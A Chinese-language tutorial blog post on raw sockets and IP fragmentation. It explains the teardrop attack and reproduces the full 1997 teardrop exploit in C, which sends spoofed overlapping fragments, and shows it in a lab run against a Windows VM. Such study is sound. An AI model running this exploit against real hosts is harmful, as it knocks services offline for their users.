socket底层编程&tear drop攻击

　　 对于对大多数正向开发的码农而言，涉及到网络通信时调用的API主要工作在应用层，开发人员只需要构造应用层的通信协议、数据包等即可完成主要工作，比如http协议，只需要构造好http头发送出去即可；应用层往下的传输层、网络层、链路层等包头的信息会由操作系统/驱动负责，不需要开发人员操心。但对于网络攻防人员而言，必须深入网络底层更改头部字段才能达到攻击的效果，比如：

• 反射dos攻击，需要在ip层把源ip地址改成受害者的，才能让DNS/memcache等“帮凶”把大量数据发给受害者，让受害则的网络带宽耗尽；
• 又比如syn flood，在tcp三次握手阶段，发送大量伪造了源ip的syn包，让受害着分配队列资源维持这种半连接的状态，直到队列资源耗尽，无法响应真正的连接；

　　socket编程已经非常成熟，网上各种demo代码一大堆，这里仅介绍重点需要关注的API接口；

　　1、想要收发数据，需要先建立socket，c的API如下：

　　

 　　要想操作网络层、甚至链路层的的数据包，在socket的第二个参数type应该设置为SOCK_RAW；第三个参数可以设置为IPPROTO_xxx或ETH_xxx，从字眼就能看出分别是操作ip层数据包和链路层数据包的参数；

　　详细解释如下：（转载自：https://www.cnblogs.com/uvsjoh/archive/2012/12/31/2840883.html ）

有两种原始套接字
一种是处理IP层即其上的数据，通过指定socket第一个参数为AF_INET来创建这种套接字。
另一种是处理数据链路层即其上的数据，通过指定socket第一个参数为AF_PACKET来创建这种套接字。

AF_INET表示获取从网络层开始的数据
socket(AF_INET, SOCK_RAW, …)
当接收包时，表示用户获得完整的包含IP报头的数据包，即数据从IP报头开始算起。
当发送包时，用户只能发送包含TCP报头或UDP报头或包含其他传输协议的报文，IP报头以及以太网帧头则由内核自动加封。除非是设置了IP_HDRINCL的socket选项。
如果第二个参数为SOCK_STREAM, SOCK_DGRAM，表示接收的数据直接为应用层数据。

PF_PACKET，表示获取的数据是从数据链路层开始的数据
socket（PF_PACKET，SOCK_RAW，htos（ETH_P_IP））：表示获得IPV4的数据链路层帧，即数据包含以太网帧头。14+20+(8:udp 或 20:tcp)
ETH_P_IP: 在<linux/if_ether.h>中定义，可以查看该文件了解支持的其它协议。
SOCK_RAW, SOCK_DGRAM两个参数都可以使用，区别在于使用SOCK_DGRAM收到的数据不包括数据链路层协议头。

总结起来就是：
socket(AF_INET, SOCK_RAW, IPPROTO_TCP|IPPROTO_UDP|IPPROTO_ICMP)发送接收ip数据包
能：该套接字可以接收协议类型为(tcp udp icmp等)发往本机的ip数据包
不能：收到非发往本地ip的数据包(ip软过滤会丢弃这些不是发往本机ip的数据包)
不能：收到从本机发送出去的数据包
发送的话需要自己组织tcp udp icmp等头部.可以setsockopt来自己包装ip头部
这种套接字用来写个ping程序比较适合

socket(PF_PACKET, SOCK_RAW|SOCK_DGRAM, htons(ETH_P_IP|ETH_P_ARP|ETH_P_ALL))发送接收以太网数据帧
这种套接字比较强大，可以监听网卡上的所有数据帧

能: 接收发往本地mac的数据帧
能: 接收从本机发送出去的数据帧(第3个参数需要设置为ETH_P_ALL)
能: 接收非发往本地mac的数据帧(网卡需要设置为promisc混杂模式)

协议类型一共有四个
ETH_P_IP 0x800 只接收发往本机mac的ip类型的数据帧
ETH_P_ARP 0x806 只接受发往本机mac的arp类型的数据帧
ETH_P_RARP 0x8035 只接受发往本机mac的rarp类型的数据帧
ETH_P_ALL 0x3 接收发往本机mac的所有类型ip arp rarp的数据帧, 接收从本机发出的所有类型的数据帧.(混杂模式打开的情况下,会接收到非发往本地mac的数据帧)

　　

　　2、tear drop攻击：IP包头如下，其中由3个字段，分别是16bit的标识、3bit的标志和13bit的片偏移，这3个字段都和ip包的分片和重组相关；

　　

　　IP协议理论上允许的最大IP数据报为65535字节（16位来表示包总长）。但是因为协议栈网络层下面的数据链路层一般允许的帧长远远小于这个值，例如以太网的MTU（即Maximum Transmission Unit，最大传输单元）通常在1500字节左右。所以较大的IP数据包会被分片传递给数据链路层发送，分片的IP数据报可能会以不同的路径传输到接收主机，接收主机通过一系列的重组，将其还原为一个完整的IP数据报，再提交给上层协议处理；上面标红的3个字段作用分别是：

• 　标识符：协议栈应该保证来自同一个数据报的若干分片必须有一样的值。换句话说，不同ip包这个值如果是一样的，说明这些ip包是同一个上层的数据报
•    标志符：分别是R（保留位，未使用）位、DF（Do not Fragment，不允许分段）位和MF（More Fragment）位。MF位为1表示当前数据报还有更多的分片，为0表示当前分片是该数据报最后一个分片
•    片偏移：表明该ip包在数据报的偏移起始位置

　　接收方在接收到ip并解析这3个字段后，会根据这3个字段对ip包进行重组，从而还原数据报；从分片和重组的机制来看，缺陷也很明显：

• 　标识符字段只有16位，所以理论上只有65536个不同的表示。当一台拥有着超过65536个活跃连接用户的服务器时，理论上会出现重复的数据报分片。即使连接的客户没这么多，但是从概率上如果只用这个标示符的话，依旧会出现可能造成混乱的数据报分片
•    IP层是没有超时重传机制的 ，如果IP层对一个数据包进行了分片，只要有一个分片丢失了，只能依赖于传输层进行重传，结果是所有的分片都要重传一遍，这个代价有点大
•    分片攻击：（1）黑客通过片偏移字段构造畸形的ip包，让前后两个包之间产生重叠，操作系统内核在分配缓冲存储这些数据时，可能因为缓冲区计算溢出，分配了大量多余的内存，让内核代码被这些数据覆盖，进而宕机  （2）不向接收方发送最后一个分片报文，导致接收方要为所有的分片报文分配内存空间，可由于最后一个分片报文永远不会达到，接收方的内存得不到及时的释放（接收方会启动一个分片重组的定时器，在一定时间内如果无法完成重组，将向发送方发送ICMP重组超时差错报文；只要这种攻击的分片报文发送的足够多、足够快，很容易占满接收方内存，让接收方无内存资源处理正常的业务，从而达到DOS的攻击效果；

       3、上面阐述了这么多理论知识做铺垫，下面展示一个在github（https://github.com/carlosmendes-7/TearDrop/blob/master/TearDrop.c）上找到的tear drop代码：

/*
* Copyright (c) 1997 route|daemon9 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
* referer: https://github.com/carlosmendes-7/TearDrop/blob/master/TearDrop.c
*/

 #include <stdio.h> 
 #include <stdlib.h> 
 #include <unistd.h> 
 #include <string.h> 
 #include <netdb.h> 
 #include <netinet/in.h> 
 #include <netinet/udp.h> 
 #include <arpa/inet.h> 
 #include <sys/types.h> 
 #include <sys/time.h> 
 #include <sys/socket.h> 
 #ifdef STRANGE_BSD_BYTE_ORDERING_THING 
    #define FIX(n) (n) 
 #else 
    #define FIX(n) htons(n) 
 #endif 
 #define IP_MF 0x2000 /* 8192_10, tamanho maximo do Fragment Offset: More IP fragment en route */ 
 #define IPH 0x14 /* 20_10, IP header size */ 
 #define UDPH 0x8 /* UDP header size */ 
 #define PADDING 0x1c /* 28_10, datagram frame padding for first packet */ 
 #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ 
 #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can withstand maybe 5 or 10 sometimes... Experiment. */ 

 void usage(u_char *); 
 u_long name_resolve(u_char *); 
 void send_frags(int, u_long, u_long, u_short, u_short); 

 int main(int argc, char **argv) { 
    int one = 1, count = 0, i, rip_sock; 
    u_long src_ip = 0, dst_ip = 0; 
    u_short src_prt = 0, dst_prt = 0; 
    struct in_addr addr; 
    fprintf(stderr, "teardrop route|daemon9

"); 
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { //原始套接字，更改IP层的数据据包头和内容
        perror("raw socket"); 
        exit(1); 
    } 
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { //IP_HDRINCL表示开发人员可编写ip包首部
        perror("IP_HDRINCL"); 
        exit(1); 
    } 
    if (argc < 3) 
        usage(argv[0]); 
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { 
        fprintf(stderr, "What the hell kind of IP address is that?
"); 
        exit(1); 
    } 
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { 
        switch (i) { 
            case 's': /* source port (should be emphemeral) */ 
                src_prt = (u_short)atoi(optarg); 
                break; 
            case 't': /* dest port (DNS, anyone?) */ 
                dst_prt = (u_short)atoi(optarg); 
                break; 
            case 'n': /* number to send */ 
                count = atoi(optarg); 
                break; 
            default : 
                usage(argv[0]); 
                break; /* NOTREACHED */ 
        } 
    } 
    srandom((unsigned)(time((time_t)0))); 
    if (!src_prt) 
        src_prt = (random() % 0xffff); 
    if (!dst_prt) 
        dst_prt = (random() % 0xffff); 
    if (!count) 
        count = COUNT; 
    fprintf(stderr, "Death on flaxen wings:
"); 
    addr.s_addr = src_ip; 
    fprintf(stderr, "From: %15s.%5d
", inet_ntoa(addr), src_prt); 
    addr.s_addr = dst_ip; 
    fprintf(stderr, " To: %15s.%5d
", inet_ntoa(addr), dst_prt); 
    fprintf(stderr, " Amt: %5d
", count); 
    fprintf(stderr, "[ "); 
    for (i = 0; i < count; i++) { 
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 
        fprintf(stderr, "b00m "); 
        usleep(500); 
    } 
    fprintf(stderr, "]
"); 
    return (0); 
} 

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { 
    u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ 
    u_char byte; /* a byte */ 
    struct sockaddr_in sin; /* socket protocol structure */ 

    sin.sin_family = AF_INET; 
    sin.sin_port = src_prt; 
    sin.sin_addr.s_addr = dst_ip; 
    /* 
    * Grab some memory for our packet, align p_ptr to point at the beginning 
    * of our packet, and then fill it with zeros. 
    */ 
    packet = (u_char *)malloc(IPH + UDPH + PADDING); 
    p_ptr = packet; 
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45; /* 0100_0101 IP version 4 and header length 5 32-bit words = 20 bytes */ 
    memcpy(p_ptr, &byte, sizeof(u_char)); 

    p_ptr += 2; /* IP TypeOfService (skipped) */ 
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* IP total length 56 bytes*/ 

    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(242); /* IP id */ 

    p_ptr += 2; 
    *((u_short *)p_ptr) |= FIX(IP_MF); /* IP fragmentation flags and offset 001_0...0 */ 

    p_ptr += 2; 
    *((u_short *)p_ptr) = 0x40; /* IP TTL */ 

    byte = IPPROTO_UDP; 
    memcpy(p_ptr + 1, &byte, sizeof(u_char)); /* IP Protocol */ 

    p_ptr += 4; /* IP checksum filled in by kernel */ 
    *((u_long *)p_ptr) = src_ip; /* IP source address */ 

    p_ptr += 4; 
    *((u_long *)p_ptr) = dst_ip; /* IP destination address */ 

    p_ptr += 4; 
    *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ 

    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ 

    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(UDPH + PADDING); /* UDP total length 36 bytes */ 
    
    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { 
        perror("
sendto"); 
        free(packet); 
        exit(1); 
    } 

    /* We set the fragment offset to be inside of the previous packet's 
    * payload (it overlaps inside the previous packet) but do not include 
    * enough payload to cover complete the datagram. Just the header will 
    * do, but to crash NT/95 machines, a bit larger of packet seems to work 
    * better. 
    */ 
    p_ptr = &packet[2]; 
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); /* IP total length 24 bytes */ 
    p_ptr += 4; 
    *((u_short *)p_ptr) = FIX(MAGIC); /* IP offset is 3 bytes */ 

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { 
        perror("
sendto"); 
        free(packet); 
        exit(1); 
    } 
    free(packet); 
} 

u_long name_resolve(u_char *host_name) { 
    struct in_addr addr; 
    struct hostent *host_ent; 
    if ((addr.s_addr = inet_addr(host_name)) == -1) { 
        if (!(host_ent = gethostbyname(host_name))) 
            return (0); 
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); 
    } 
    return (addr.s_addr); 
} 

void usage(u_char *name) { 
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]
", name); 
    exit(0); 
}

   效果展示：靶机是win10虚拟机，攻击机是kali虚拟机，同在192.168.40网段：攻击时靶机cpu有明显的消耗峰值，应该是在重组数据分片；

　　 

        攻击机上用wireshar抓包，证实底层发送了大量tcp包；

        

参考：

1、https://github.com/xgfone/snippet/blob/master/snippet/docs/linux/program/raw-socket.md  Raw Socket 接收和发送数据包

2、http://www.kokojia.com/article/25431.html  带你认识Teardrop攻击

3、https://www.bilibili.com/video/BV1h54y1r7NR?p=16  TCP协议基础

4、https://www.cnblogs.com/aspirant/p/4084127.html  原始套接字SOCK_RAW

5、https://www.cnblogs.com/uvsjoh/archive/2012/12/31/2840883.html Linux raw socket

6、https://my.oschina.net/xinxingegeya/blog/483138  IP数据报分片——Fragmentation和重组